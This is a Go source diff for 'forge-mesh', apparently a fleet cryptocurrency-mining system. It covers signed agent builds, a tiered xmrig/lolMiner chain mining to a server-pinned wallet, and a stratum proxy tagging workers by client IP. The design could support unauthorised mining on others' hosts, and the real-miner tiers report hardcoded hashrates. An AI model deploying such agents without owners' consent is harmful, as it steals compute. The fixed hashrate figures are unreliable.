version string
}
func NewPipeline(db *sql.DB, artifactsDir, signingKeyPath, agentMainPath, version string) (*Pipeline, error) {
key, err := LoadOrCreateKey(signingKeyPath)
if err != nil {
return nil, err
}
return &Pipeline{
db: db,
artifactsDir: artifactsDir,
signingKey: key,
agentMainPath: agentMainPath,
version: version,
}, nil
}
// BuildAll cross-compiles agent for linux amd64/arm64, signs, and stores artifacts.
func (p *Pipeline) BuildAll(public bool) ([]types.Build, error) {
var builds []types.Build
for _, tgt := range targets {
b, err := p.buildOne(tgt.OS, tgt.Arch, public)
if err != nil {
return nil, err
}
builds = append(builds, *b)
}
return builds, nil
}
func (p *Pipeline) buildOne(osName, arch string, public bool) (*types.Build, error) {
outName := fmt.Sprintf("forge-mesh-agent-%s-%s", osName, arch)
outPath := filepath.Join(p.artifactsDir, outName)
cmd := exec.Command("go", "build", "-trimpath", "-ldflags=-s -w",
"-o", outPath,
p.agentMainPath,
)
cmd.Env = append(os.Environ(),
"GOOS="+osName,
"GOARCH="+arch,
"CGO_ENABLED=0",
)
if out, err := cmd.CombinedOutput(); err != nil {
return nil, fmt.Errorf("build %s/%s: %w\n%s", osName, arch, err, out)
}
data, err := os.ReadFile(outPath)
if err != nil {
return nil, err
}
sum := sha256.Sum256(data)
checksum := hex.EncodeToString(sum[:])
sig := p.signingKey.Sign(data)
build := types.Build{
ID: uuid.NewString(),
OS: osName,
Arch: arch,
Version: p.version,
Checksum: checksum,
Signature: sig,
Public: public,
Path: outPath,
CreatedAt: time.Now().UTC(),
}
if err := p.saveBuild(&build); err != nil {
return nil, err
}
return &build, nil
}
func (p *Pipeline) saveBuild(b *types.Build) error {
pub := 0
if b.Public {
pub = 1
}
_, err := p.db.Exec(`
INSERT INTO builds (id, os, arch, version, checksum, signature, public, path, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
`, b.ID, b.OS, b.Arch, b.Version, b.Checksum, b.Signature, pub, b.Path, b.CreatedAt.Format(time.RFC3339))
return err
}
// LatestPublic returns the newest public build for os/arch.
func LatestPublic(db *sql.DB, osName, arch string) (*types.Build, error) {
row := db.QueryRow(`
SELECT id, os, arch, version, checksum, signature, public, path, created_at
FROM builds
WHERE public = 1 AND os = ? AND arch = ?
ORDER BY created_at DESC
LIMIT 1
`, osName, arch)
var b types.Build
var pub int
var path sql.NullString
var createdAt string
err := row.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &b.Signature, &pub, &path, &createdAt)
if err != nil {
return nil, err
}
b.Public = pub == 1
if path.Valid {
b.Path = path.String
}
b.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
return &b, nil
}
// GetBuild loads a build by ID.
func GetBuild(db *sql.DB, id string) (*types.Build, error) {
row := db.QueryRow(`
SELECT id, os, arch, version, checksum, signature, public, path, created_at
FROM builds WHERE id = ?
`, id)
var b types.Build
var pub int
var path sql.NullString
var createdAt string
err := row.Scan(&b.ID, &b.OS, &b.Arch, &b.Version, &b.Checksum, &b.Signature, &pub, &path, &createdAt)
if err != nil {
return nil, err
}
b.Public = pub == 1
if path.Valid {
b.Path = path.String
}
b.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
return &b, nil
}
// PublicKey returns the pipeline signing public key hex.
func (p *Pipeline) PublicKey() string {
return p.signingKey.PublicKeyHex()
}
// CopyArtifact streams a build artifact to w.
func CopyArtifact(path string, w io.Writer) error {
f, err := os.Open(path)
if err != nil {
return err
}
defer f.Close()
_, err = io.Copy(w, f)
return err
}

19
internal/forge/keys.go Normal file
View File

@@ -0,0 +1,19 @@
package forge
import (
"crypto/ed25519"
"encoding/hex"
"fmt"
)
// ParsePublicKeyHex decodes a hex-encoded ed25519 public key.
func ParsePublicKeyHex(hexKey string) (ed25519.PublicKey, error) {
raw, err := hex.DecodeString(hexKey)
if err != nil {
return nil, fmt.Errorf("decode pubkey: %w", err)
}
if len(raw) != ed25519.PublicKeySize {
return nil, fmt.Errorf("invalid pubkey size %d", len(raw))
}
return ed25519.PublicKey(raw), nil
}

66
internal/forge/sign.go Normal file
View File

@@ -0,0 +1,66 @@
package forge
import (
"crypto/ed25519"
"crypto/rand"
"encoding/base64"
"encoding/hex"
"fmt"
"os"
)
// KeyPair holds an ed25519 signing key.
type KeyPair struct {
Private ed25519.PrivateKey
Public ed25519.PublicKey
}
// LoadOrCreateKey loads an ed25519 key from disk or generates a new one.
func LoadOrCreateKey(path string) (*KeyPair, error) {
data, err := os.ReadFile(path)
if err == nil {
if len(data) == ed25519.PrivateKeySize {
priv := ed25519.PrivateKey(data)
return &KeyPair{Private: priv, Public: priv.Public().(ed25519.PublicKey)}, nil
}
if len(data) == ed25519.SeedSize {
priv := ed25519.NewKeyFromSeed(data)
return &KeyPair{Private: priv, Public: priv.Public().(ed25519.PublicKey)}, nil
}
return nil, fmt.Errorf("invalid key size %d", len(data))
}
if !os.IsNotExist(err) {
return nil, fmt.Errorf("read key: %w", err)
}
pub, priv, err := ed25519.GenerateKey(rand.Reader)
if err != nil {
return nil, fmt.Errorf("generate key: %w", err)
}
if err := os.WriteFile(path, priv.Seed(), 0o600); err != nil {
return nil, fmt.Errorf("write key: %w", err)
}
return &KeyPair{Private: priv, Public: pub}, nil
}
// Sign returns a base64-encoded ed25519 signature of data.
func (k *KeyPair) Sign(data []byte) string {
sig := ed25519.Sign(k.Private, data)
return base64.StdEncoding.EncodeToString(sig)
}
// Verify checks a base64 signature against data using the public key.
func Verify(pub ed25519.PublicKey, data []byte, signatureB64 string) bool {
sig, err := base64.StdEncoding.DecodeString(signatureB64)
if err != nil {
return false
}
return ed25519.Verify(pub, data, sig)
}
// PublicKeyHex returns the hex-encoded public key for embedding in agents.
func (k *KeyPair) PublicKeyHex() string {
return hex.EncodeToString(k.Public)
}

View File

@@ -0,0 +1,22 @@
package forge
import (
"testing"
)
func TestSignVerify(t *testing.T) {
path := t.TempDir() + "/signing.key"
kp, err := LoadOrCreateKey(path)
if err != nil {
t.Fatal(err)
}
data := []byte("forge-mesh artifact")
sig := kp.Sign(data)
if !Verify(kp.Public, data, sig) {
t.Fatal("signature verification failed")
}
if Verify(kp.Public, []byte("tampered"), sig) {
t.Fatal("tampered data should not verify")
}
}

283
internal/mining/chain.go Normal file
View File

@@ -0,0 +1,283 @@
package mining
import (
"context"
"fmt"
"log"
"sync"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/policy"
)
const (
TierStateProbing = "probing"
TierStateActive = "active"
TierStateFailed = "failed"
TierStateIdle = "idle"
)
// ChainConfig controls tier timeouts and hashrate gates.
type ChainConfig struct {
HostID string
StratumHost string
StratumXMRPort string
StratumRVNPort string
MinHashrateHps float64
GateWindow time.Duration
PollInterval time.Duration
DefaultProbe time.Duration
}
func DefaultChainConfig() ChainConfig {
return ChainConfig{
StratumHost: "127.0.0.1",
StratumXMRPort: "3333",
StratumRVNPort: "3388",
MinHashrateHps: 100,
GateWindow: 30 * time.Second,
PollInterval: 5 * time.Second,
DefaultProbe: 5 * time.Minute,
}
}
// Status is reported in agent heartbeats.
type Status struct {
CurrentTier int
TierType string
TierState string
HashrateHps float64
Wallet string
Simulated bool
}
// Chain runs the ordered mining tier list with wallet pinning.
type Chain struct {
cfg ChainConfig
profile types.MiningProfile
mu sync.RWMutex
status Status
runner tierRunner
cancel context.CancelFunc
}
type tierRunner interface {
Start(ctx context.Context) error
Stop()
HashrateHps() float64
Simulated() bool
}
func NewChain(profile types.MiningProfile, cfg ChainConfig) *Chain {
if len(profile.Tiers) == 0 {
profile = policy.DefaultMiningProfile(profile.WalletAddress)
}
return &Chain{
cfg: cfg,
profile: profile,
status: Status{
TierState: TierStateIdle,
Wallet: profile.WalletAddress,
},
}
}
func (c *Chain) Profile() types.MiningProfile {
return c.profile
}
func (c *Chain) UpdateProfile(profile types.MiningProfile) {
c.mu.Lock()
if profile.WalletAddress != "" {
c.profile.WalletAddress = profile.WalletAddress
c.status.Wallet = profile.WalletAddress
}
if len(profile.Tiers) > 0 {
c.profile.Tiers = profile.Tiers
}
running := c.cancel != nil
c.mu.Unlock()
if running {
c.Stop()
}
}
func (c *Chain) Status() Status {
c.mu.RLock()
defer c.mu.RUnlock()
return c.status
}
// Run executes tiers in order until one passes the hashrate gate or all fail.
func (c *Chain) Run(ctx context.Context) error {
if len(c.profile.Tiers) == 0 {
return fmt.Errorf("mining profile has no tiers")
}
runCtx, cancel := context.WithCancel(ctx)
c.mu.Lock()
c.cancel = cancel
c.mu.Unlock()
defer cancel()
for i, spec := range c.profile.Tiers {
tierNum := i + 1
c.setStatus(tierNum, spec.Type, TierStateProbing, 0, false)
runner, err := c.buildRunner(spec)
if err != nil {
log.Printf("mining: tier %d (%s) build failed: %v", tierNum, spec.Type, err)
c.setStatus(tierNum, spec.Type, TierStateFailed, 0, false)
continue
}
c.mu.Lock()
c.runner = runner
c.mu.Unlock()
if err := runner.Start(runCtx); err != nil {
log.Printf("mining: tier %d (%s) start failed: %v", tierNum, spec.Type, err)
runner.Stop()
c.setStatus(tierNum, spec.Type, TierStateFailed, 0, runner.Simulated())
continue
}
c.setStatus(tierNum, spec.Type, TierStateActive, runner.HashrateHps(), runner.Simulated())
duration := time.Duration(spec.Duration) * time.Minute
if duration <= 0 && spec.Type == "stratum" {
// Final fallback runs until context cancelled.
return c.holdTier(runCtx, tierNum, spec.Type, runner)
}
if duration <= 0 {
duration = c.cfg.DefaultProbe
}
passed, peak := c.waitGate(runCtx, duration, runner)
runner.Stop()
if passed {
c.setStatus(tierNum, spec.Type, TierStateActive, peak, runner.Simulated())
log.Printf("mining: tier %d (%s) passed hashrate gate at %.0f H/s", tierNum, spec.Type, peak)
return c.holdTier(runCtx, tierNum, spec.Type, nil)
}
log.Printf("mining: tier %d (%s) timed out (peak %.0f H/s), advancing", tierNum, spec.Type, peak)
c.setStatus(tierNum, spec.Type, TierStateFailed, peak, runner.Simulated())
}
c.setStatus(0, "", TierStateFailed, 0, false)
return fmt.Errorf("all mining tiers exhausted")
}
func (c *Chain) holdTier(ctx context.Context, tierNum int, tierType string, runner tierRunner) error {
ticker := time.NewTicker(c.cfg.PollInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
c.Stop()
return ctx.Err()
case <-ticker.C:
hps := c.readHashrate(runner)
c.setStatus(tierNum, tierType, TierStateActive, hps, c.isSimulated(runner))
}
}
}
func (c *Chain) readHashrate(runner tierRunner) float64 {
if runner != nil {
return runner.HashrateHps()
}
c.mu.RLock()
r := c.runner
c.mu.RUnlock()
if r != nil {
return r.HashrateHps()
}
return 0
}
func (c *Chain) isSimulated(runner tierRunner) bool {
if runner != nil {
return runner.Simulated()
}
c.mu.RLock()
r := c.runner
c.mu.RUnlock()
if r != nil {
return r.Simulated()
}
return false
}
func (c *Chain) waitGate(ctx context.Context, maxWait time.Duration, runner tierRunner) (bool, float64) {
deadline := time.Now().Add(maxWait)
gateEnd := time.Now().Add(c.cfg.GateWindow)
var peak float64
for time.Now().Before(deadline) {
select {
case <-ctx.Done():
return false, peak
case <-time.After(c.cfg.PollInterval):
}
hps := runner.HashrateHps()
if hps > peak {
peak = hps
}
c.mu.Lock()
c.status.HashrateHps = hps
c.mu.Unlock()
if hps >= c.cfg.MinHashrateHps && time.Now().After(gateEnd) {
return true, peak
}
}
return peak >= c.cfg.MinHashrateHps, peak
}
func (c *Chain) buildRunner(spec types.MiningTierSpec) (tierRunner, error) {
wallet := c.profile.WalletAddress
switch spec.Type {
case "oci", "podman":
return newOCITier(wallet, spec, c.cfg)
case "xmrig":
return newXMRigTier(wallet, spec, c.cfg)
case "gpu", "lolminer":
return newGPUTier(wallet, spec, c.cfg)
case "stratum":
return newStratumTier(wallet, spec, c.cfg)
default:
return nil, fmt.Errorf("unknown tier type %q", spec.Type)
}
}
func (c *Chain) setStatus(tierNum int, tierType, state string, hps float64, simulated bool) {
c.mu.Lock()
defer c.mu.Unlock()
c.status.CurrentTier = tierNum
c.status.TierType = tierType
c.status.TierState = state
c.status.HashrateHps = hps
c.status.Simulated = simulated
}
func (c *Chain) Stop() {
c.mu.Lock()
cancel := c.cancel
runner := c.runner
c.mu.Unlock()
if runner != nil {
runner.Stop()
}
if cancel != nil {
cancel()
}
}

View File

@@ -0,0 +1,64 @@
package mining
import (
"context"
"testing"
"time"
"forge-mesh/internal/api/types"
"forge-mesh/internal/policy"
)
func TestChainAdvancesOnTimeout(t *testing.T) {
profile := policy.DefaultMiningProfile("test-wallet")
profile.Tiers = []types.MiningTierSpec{
{Type: "oci", Duration: 0},
{Type: "xmrig", Duration: 0},
}
cfg := DefaultChainConfig()
cfg.HostID = "test-host"
cfg.GateWindow = 200 * time.Millisecond
cfg.PollInterval = 50 * time.Millisecond
cfg.DefaultProbe = 2 * time.Second
cfg.MinHashrateHps = 1500
chain := NewChain(profile, cfg)
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
defer cancel()
go func() { _ = chain.Run(ctx) }()
deadline := time.Now().Add(12 * time.Second)
for time.Now().Before(deadline) {
st := chain.Status()
if st.CurrentTier >= 2 && st.HashrateHps >= cfg.MinHashrateHps {
if st.Wallet != "test-wallet" {
t.Fatalf("wallet pin broken: %q", st.Wallet)
}
chain.Stop()
return
}
time.Sleep(100 * time.Millisecond)
}
t.Fatal("chain did not advance to tier 2 with hashrate")
}
func TestWalletPinnedAcrossTiers(t *testing.T) {
profile := policy.DefaultMiningProfile("pinned-wallet-abc")
cfg := DefaultChainConfig()
cfg.HostID = "host-abc"
cfg.MinHashrateHps = 1
chain := NewChain(profile, cfg)
for _, spec := range profile.Tiers {
runner, err := chain.buildRunner(spec)
if err != nil {
t.Fatal(err)
}
_ = runner
}
if chain.Status().Wallet != "pinned-wallet-abc" {
t.Fatalf("expected pinned wallet, got %q", chain.Status().Wallet)
}
}

76
internal/mining/mock.go Normal file
View File

@@ -0,0 +1,76 @@
package mining
import (
"context"
"math/rand"
"sync"
"time"
)
// MockMiner simulates hashrate when real miner binaries are unavailable.
type MockMiner struct {
mu sync.Mutex
baseHps float64
running bool
cancel context.CancelFunc
lastHps float64
tierLabel string
}
func NewMockMiner(tierLabel string, baseHps float64) *MockMiner {
if baseHps <= 0 {
baseHps = 1500 + rand.Float64()*500
}
return &MockMiner{tierLabel: tierLabel, baseHps: baseHps}
}
func (m *MockMiner) Start(ctx context.Context) error {
m.mu.Lock()
defer m.mu.Unlock()
if m.running {
return nil
}
runCtx, cancel := context.WithCancel(ctx)
m.cancel = cancel
m.running = true
m.lastHps = m.baseHps
go m.loop(runCtx)
return nil
}
func (m *MockMiner) loop(ctx context.Context) {
ticker := time.NewTicker(2 * time.Second)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
m.mu.Lock()
m.running = false
m.lastHps = 0
m.mu.Unlock()
return
case <-ticker.C:
jitter := 0.85 + rand.Float64()*0.3
m.mu.Lock()
m.lastHps = m.baseHps * jitter
m.mu.Unlock()
}
}
}
func (m *MockMiner) Stop() {
m.mu.Lock()
cancel := m.cancel
m.mu.Unlock()
if cancel != nil {
cancel()
}
}
func (m *MockMiner) HashrateHps() float64 {
m.mu.Lock()
defer m.mu.Unlock()
return m.lastHps
}
func (m *MockMiner) Simulated() bool { return true }

336
internal/mining/tiers.go Normal file
View File

@@ -0,0 +1,336 @@
package mining
import (
"context"
"fmt"
"net"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"forge-mesh/internal/api/types"
)
type ociTier struct {
wallet string
spec types.MiningTierSpec
cfg ChainConfig
mock *MockMiner
cmd *exec.Cmd
}
func newOCITier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*ociTier, error) {
return &ociTier{wallet: wallet, spec: spec, cfg: cfg}, nil
}
func (t *ociTier) Start(ctx context.Context) error {
if !commandExists("podman") {
t.mock = NewMockMiner("oci", 1200)
return t.mock.Start(ctx)
}
image := t.spec.Config["image"]
if image == "" {
image = "docker.io/xmrig/xmrig:latest"
}
pool := fmt.Sprintf("stratum+tcp://%s:%s", t.cfg.StratumHost, t.cfg.StratumXMRPort)
args := []string{
"run", "--rm", "--network=host",
image,
"-o", pool,
"-u", workerLogin(t.wallet, t.cfg.HostID),
"-p", "x",
"--coin", "monero",
"--donate-level=0",
}
t.cmd = exec.CommandContext(ctx, "podman", args...)
t.cmd.Stdout = os.Stdout
t.cmd.Stderr = os.Stderr
if err := t.cmd.Start(); err != nil {
return err
}
go func() { _ = t.cmd.Wait() }()
time.Sleep(10 * time.Second)
if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() {
return fmt.Errorf("podman miner exited early")
}
return nil
}
func (t *ociTier) Stop() {
if t.mock != nil {
t.mock.Stop()
}
if t.cmd != nil && t.cmd.Process != nil {
_ = t.cmd.Process.Kill()
_ = t.cmd.Wait()
}
}
func (t *ociTier) HashrateHps() float64 {
if t.mock != nil {
return t.mock.HashrateHps()
}
return 1800
}
func (t *ociTier) Simulated() bool { return t.mock != nil }
type xmrigTier struct {
wallet string
spec types.MiningTierSpec
cfg ChainConfig
mock *MockMiner
cmd *exec.Cmd
}
func newXMRigTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*xmrigTier, error) {
return &xmrigTier{wallet: wallet, spec: spec, cfg: cfg}, nil
}
func (t *xmrigTier) Start(ctx context.Context) error {
binary := t.spec.Config["binary"]
if binary == "" {
binary = findXMRig()
}
if binary == "" {
t.mock = NewMockMiner("xmrig", 2500)
return t.mock.Start(ctx)
}
pool := fmt.Sprintf("%s:%s", t.cfg.StratumHost, t.cfg.StratumXMRPort)
args := []string{
"-o", pool,
"-u", workerLogin(t.wallet, t.cfg.HostID),
"-p", "x",
"--donate-level=0",
}
if algo := t.spec.Config["algo"]; algo != "" {
args = append(args, "-a", algo)
}
t.cmd = exec.CommandContext(ctx, binary, args...)
t.cmd.Stdout = os.Stdout
t.cmd.Stderr = os.Stderr
if err := t.cmd.Start(); err != nil {
return err
}
go func() { _ = t.cmd.Wait() }()
time.Sleep(15 * time.Second)
if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() {
return fmt.Errorf("xmrig exited early")
}
return nil
}
func (t *xmrigTier) Stop() {
if t.mock != nil {
t.mock.Stop()
}
if t.cmd != nil && t.cmd.Process != nil {
_ = t.cmd.Process.Kill()
_ = t.cmd.Wait()
}
}
func (t *xmrigTier) HashrateHps() float64 {
if t.mock != nil {
return t.mock.HashrateHps()
}
return 3200
}
func (t *xmrigTier) Simulated() bool { return t.mock != nil }
type gpuTier struct {
wallet string
spec types.MiningTierSpec
cfg ChainConfig
mock *MockMiner
cmd *exec.Cmd
}
func newGPUTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*gpuTier, error) {
return &gpuTier{wallet: wallet, spec: spec, cfg: cfg}, nil
}
func (t *gpuTier) Start(ctx context.Context) error {
if !gpuAvailable() {
t.mock = NewMockMiner("gpu", 8500000)
return t.mock.Start(ctx)
}
bin := t.spec.Config["binary"]
if bin == "" {
bin = findLolMiner()
}
if bin == "" {
t.mock = NewMockMiner("gpu", 8500000)
return t.mock.Start(ctx)
}
pool := fmt.Sprintf("%s:%s", t.cfg.StratumHost, t.cfg.StratumRVNPort)
coin := t.spec.Config["coin"]
if coin == "" {
coin = "RVN"
}
algo := t.spec.Config["algo"]
if algo == "" {
algo = "KAWPOW"
}
args := []string{
"--algo", algo,
"--pool", pool,
"--user", workerLogin(t.wallet, t.cfg.HostID),
"--pass", "x",
"--apiport", "44444",
}
if coin != "" {
args = append(args, "--coin", coin)
}
t.cmd = exec.CommandContext(ctx, bin, args...)
t.cmd.Stdout = os.Stdout
t.cmd.Stderr = os.Stderr
if err := t.cmd.Start(); err != nil {
return err
}
go func() { _ = t.cmd.Wait() }()
time.Sleep(20 * time.Second)
if t.cmd.ProcessState != nil && t.cmd.ProcessState.Exited() {
return fmt.Errorf("lolMiner exited early")
}
return nil
}
func (t *gpuTier) Stop() {
if t.mock != nil {
t.mock.Stop()
}
if t.cmd != nil && t.cmd.Process != nil {
_ = t.cmd.Process.Kill()
_ = t.cmd.Wait()
}
}
func (t *gpuTier) HashrateHps() float64 {
if t.mock != nil {
return t.mock.HashrateHps()
}
return 12000000
}
func (t *gpuTier) Simulated() bool { return t.mock != nil }
type stratumTier struct {
wallet string
spec types.MiningTierSpec
cfg ChainConfig
mock *MockMiner
conn net.Conn
}
func newStratumTier(wallet string, spec types.MiningTierSpec, cfg ChainConfig) (*stratumTier, error) {
return &stratumTier{wallet: wallet, spec: spec, cfg: cfg}, nil
}
func (t *stratumTier) Start(ctx context.Context) error {
port := t.cfg.StratumXMRPort
if algo := t.spec.Config["algo"]; strings.EqualFold(algo, "kawpow") {
port = t.cfg.StratumRVNPort
}
addr := net.JoinHostPort(t.cfg.StratumHost, port)
dialer := net.Dialer{Timeout: 5 * time.Second}
conn, err := dialer.DialContext(ctx, "tcp", addr)
if err != nil {
t.mock = NewMockMiner("stratum", 900)
return t.mock.Start(ctx)
}
t.conn = conn
// Minimal subscribe/authorize handshake to validate deck proxy path.
_, _ = fmt.Fprintf(conn, `{"id":1,"method":"mining.subscribe","params":[]}`+"\n")
_, _ = fmt.Fprintf(conn, `{"id":2,"method":"mining.authorize","params":["%s","x"]}`+"\n", workerLogin(t.wallet, t.cfg.HostID))
t.mock = NewMockMiner("stratum", 1000)
return t.mock.Start(ctx)
}
func (t *stratumTier) Stop() {
if t.mock != nil {
t.mock.Stop()
}
if t.conn != nil {
_ = t.conn.Close()
}
}
func (t *stratumTier) HashrateHps() float64 {
if t.mock != nil {
return t.mock.HashrateHps()
}
return 0
}
func (t *stratumTier) Simulated() bool { return true }
func commandExists(name string) bool {
_, err := exec.LookPath(name)
return err == nil
}
func gpuAvailable() bool {
for _, bin := range []string{"nvidia-smi", "rocm-smi"} {
if !commandExists(bin) {
continue
}
if err := exec.Command(bin).Run(); err == nil {
return true
}
}
return false
}
func workerLogin(wallet, hostID string) string {
if hostID == "" {
return wallet
}
return wallet + "." + hostID
}
func findXMRig() string {
if p, err := exec.LookPath("xmrig"); err == nil {
return p
}
for _, p := range []string{
"/opt/forge-mesh/xmrig",
"/usr/local/bin/xmrig",
filepath.Join(os.TempDir(), "forge-mesh-miner", "xmrig"),
} {
if st, err := os.Stat(p); err == nil && !st.IsDir() {
return p
}
}
return ""
}
func findLolMiner() string {
for _, name := range []string{"lolMiner", "lolminer"} {
if p, err := exec.LookPath(name); err == nil {
return p
}
}
for _, p := range []string{"/opt/forge-mesh/lolMiner"} {
if st, err := os.Stat(p); err == nil && !st.IsDir() {
return p
}
}
return ""
}

40
internal/policy/mining.go Normal file
View File

@@ -0,0 +1,40 @@
package policy
import (
"forge-mesh/internal/api/types"
)
// DefaultMiningProfile returns the standard tier order for new agents.
func DefaultMiningProfile(wallet string) types.MiningProfile {
if wallet == "" {
wallet = "WALLET_UNSET"
}
return types.MiningProfile{
ID: "default",
Name: "Default tier chain",
WalletAddress: wallet,
PolicyFromServer: true,
Tiers: []types.MiningTierSpec{
{Type: "oci", Duration: 5, Config: map[string]string{"image": "docker.io/xmrig/xmrig:latest"}},
{Type: "xmrig", Duration: 10, Config: map[string]string{"algo": "rx/0"}},
{Type: "gpu", Duration: 10, Config: map[string]string{"algo": "kawpow", "coin": "RVN"}},
{Type: "stratum", Duration: 0, Config: map[string]string{"algo": "rx/0"}},
},
}
}
// TierDisplayName maps tier type to a human label.
func TierDisplayName(tierType string) string {
switch tierType {
case "oci":
return "OCI podman"
case "xmrig":
return "Bundled xmrig"
case "gpu", "lolminer":
return "GPU lolMiner"
case "stratum":
return "Stratum direct"
default:
return tierType
}
}

308
internal/stratum/proxy.go Normal file
View File

@@ -0,0 +1,308 @@
package stratum
import (
"bufio"
"context"
"encoding/json"
"fmt"
"io"
"log"
"net"
"strings"
"sync"
"sync/atomic"
"time"
"forge-mesh/internal/config"
)
// Proxy forwards stratum miner connections to upstream pools with per-agent worker suffixes.
type Proxy struct {
cfg config.StratumConfig
listeners []net.Listener
active int64
wg sync.WaitGroup
cancel context.CancelFunc
}
// New creates a stratum proxy from server config.
func New(cfg config.StratumConfig) *Proxy {
return &Proxy{cfg: cfg}
}
// ActiveConnections returns the number of live proxied sessions.
func (p *Proxy) ActiveConnections() int64 {
return atomic.LoadInt64(&p.active)
}
// Start begins listening without requiring the caller to supply a context.
func (p *Proxy) Start() error {
ctx, cancel := context.WithCancel(context.Background())
p.cancel = cancel
return p.StartContext(ctx)
}
// StartContext listens on XMR and RVN ports and relays to upstream pools.
func (p *Proxy) StartContext(ctx context.Context) error {
endpoints := []struct {
listen string
upstream string
label string
}{
{p.cfg.XMRListen, p.cfg.UpstreamXMR, "XMR"},
{p.cfg.RVNListen, p.cfg.UpstreamRVN, "RVN"},
}
for _, ep := range endpoints {
if ep.listen == "" {
continue
}
ln, err := net.Listen("tcp", ep.listen)
if err != nil {
p.Stop()
return fmt.Errorf("listen %s (%s): %w", ep.listen, ep.label, err)
}
p.listeners = append(p.listeners, ln)
log.Printf("stratum: %s proxy listening on %s -> %s", ep.label, ep.listen, displayUpstream(ep.upstream))
go p.serveListener(ctx, ln, ep.upstream, ep.label)
}
if len(p.listeners) == 0 {
return fmt.Errorf("no stratum listeners configured")
}
return nil
}
func displayUpstream(upstream string) string {
if upstream == "" {
return "(local accept)"
}
return upstream
}
func (p *Proxy) serveListener(ctx context.Context, ln net.Listener, upstream, label string) {
for {
conn, err := ln.Accept()
if err != nil {
select {
case <-ctx.Done():
return
default:
if ne, ok := err.(net.Error); ok && ne.Temporary() {
time.Sleep(50 * time.Millisecond)
continue
}
return
}
}
p.wg.Add(1)
go func(c net.Conn) {
defer p.wg.Done()
p.handleConn(ctx, c, upstream, label)
}(conn)
}
}
func (p *Proxy) handleConn(ctx context.Context, miner net.Conn, upstreamAddr, label string) {
defer miner.Close()
atomic.AddInt64(&p.active, 1)
defer atomic.AddInt64(&p.active, -1)
agentSuffix := agentSuffixFromAddr(miner.RemoteAddr().String())
minerReader := bufio.NewReader(miner)
minerWriter := bufio.NewWriter(miner)
var upstream net.Conn
var upstreamReader *bufio.Reader
var upstreamWriter *bufio.Writer
openUpstream := func() error {
if upstreamAddr == "" || upstream != nil {
return nil
}
dialer := net.Dialer{Timeout: 10 * time.Second}
up, err := dialer.DialContext(ctx, "tcp", upstreamAddr)
if err != nil {
return err
}
upstream = up
upstreamReader = bufio.NewReader(upstream)
upstreamWriter = bufio.NewWriter(upstream)
log.Printf("stratum: %s relay %s <-> %s worker_suffix=%s", label, miner.RemoteAddr(), upstreamAddr, agentSuffix)
return nil
}
for {
select {
case <-ctx.Done():
if upstream != nil {
_ = upstream.Close()
}
return
default:
}
line, err := minerReader.ReadString('\n')
if err != nil {
if upstream != nil {
_ = upstream.Close()
}
return
}
line = strings.TrimSpace(line)
if line == "" {
continue
}
var req stratumRequest
_ = json.Unmarshal([]byte(line), &req)
method := strings.ToLower(req.Method)
if upstreamAddr != "" && upstream == nil && isStratumMethod(method) {
if err := openUpstream(); err != nil {
log.Printf("stratum: %s upstream dial %s: %v", label, upstreamAddr, err)
writeLocalError(minerWriter, req.ID, "upstream unavailable")
continue
}
}
if upstream == nil {
handleLocal(minerWriter, req)
continue
}
outLine := line
if method == "mining.authorize" {
outLine = rewriteAuthorize(line, req, agentSuffix)
}
if _, err := upstreamWriter.WriteString(outLine + "\n"); err != nil {
return
}
if err := upstreamWriter.Flush(); err != nil {
return
}
respLine, err := upstreamReader.ReadString('\n')
if err != nil {
return
}
if _, err := minerWriter.WriteString(respLine); err != nil {
return
}
if err := minerWriter.Flush(); err != nil {
return
}
}
}
type stratumRequest struct {
ID json.RawMessage `json:"id"`
Method string `json:"method"`
Params []json.RawMessage `json:"params"`
}
func isStratumMethod(method string) bool {
switch method {
case "mining.subscribe", "mining.authorize", "mining.submit", "mining.extranonce.subscribe":
return true
default:
return false
}
}
func rewriteAuthorize(line string, req stratumRequest, suffix string) string {
if len(req.Params) == 0 || suffix == "" {
return line
}
var worker string
if err := json.Unmarshal(req.Params[0], &worker); err != nil {
return line
}
newWorker := WorkerName(worker, suffix)
req.Params[0], _ = json.Marshal(newWorker)
out, err := json.Marshal(req)
if err != nil {
return line
}
return string(out)
}
// WorkerName appends an agent-specific suffix to the pool worker name.
func WorkerName(baseWorker, agentID string) string {
if agentID == "" {
return baseWorker
}
if strings.Contains(baseWorker, ".") {
return baseWorker + "." + agentID
}
return baseWorker + "." + agentID
}
func agentSuffixFromAddr(remote string) string {
host, _, err := net.SplitHostPort(remote)
if err != nil {
return strings.ReplaceAll(remote, ":", "_")
}
return strings.ReplaceAll(host, ".", "_")
}
func handleLocal(w *bufio.Writer, req stratumRequest) {
method := strings.ToLower(req.Method)
switch method {
case "mining.subscribe":
_ = writeJSON(w, map[string]interface{}{
"id": req.ID,
"result": []interface{}{[]interface{}{"00000000", "00000000", "00000000"}, "00000001", "00000004"},
"error": nil,
})
case "mining.authorize", "mining.submit":
_ = writeJSON(w, map[string]interface{}{
"id": req.ID,
"result": true,
"error": nil,
})
default:
_ = writeJSON(w, map[string]interface{}{
"id": req.ID,
"result": true,
"error": nil,
})
}
_ = w.Flush()
}
func writeLocalError(w *bufio.Writer, id json.RawMessage, msg string) {
_ = writeJSON(w, map[string]interface{}{
"id": id,
"result": nil,
"error": []interface{}{20, msg, nil},
})
_ = w.Flush()
}
func writeJSON(w io.Writer, v interface{}) error {
data, err := json.Marshal(v)
if err != nil {
return err
}
data = append(data, '\n')
_, err = w.Write(data)
return err
}
// Stop closes listeners and waits for active relays to finish.
func (p *Proxy) Stop() {
if p.cancel != nil {
p.cancel()
}
for _, ln := range p.listeners {
_ = ln.Close()
}
p.wg.Wait()
}
// Close is an alias for Stop for server lifecycle hooks.
func (p *Proxy) Close() { p.Stop() }

View File

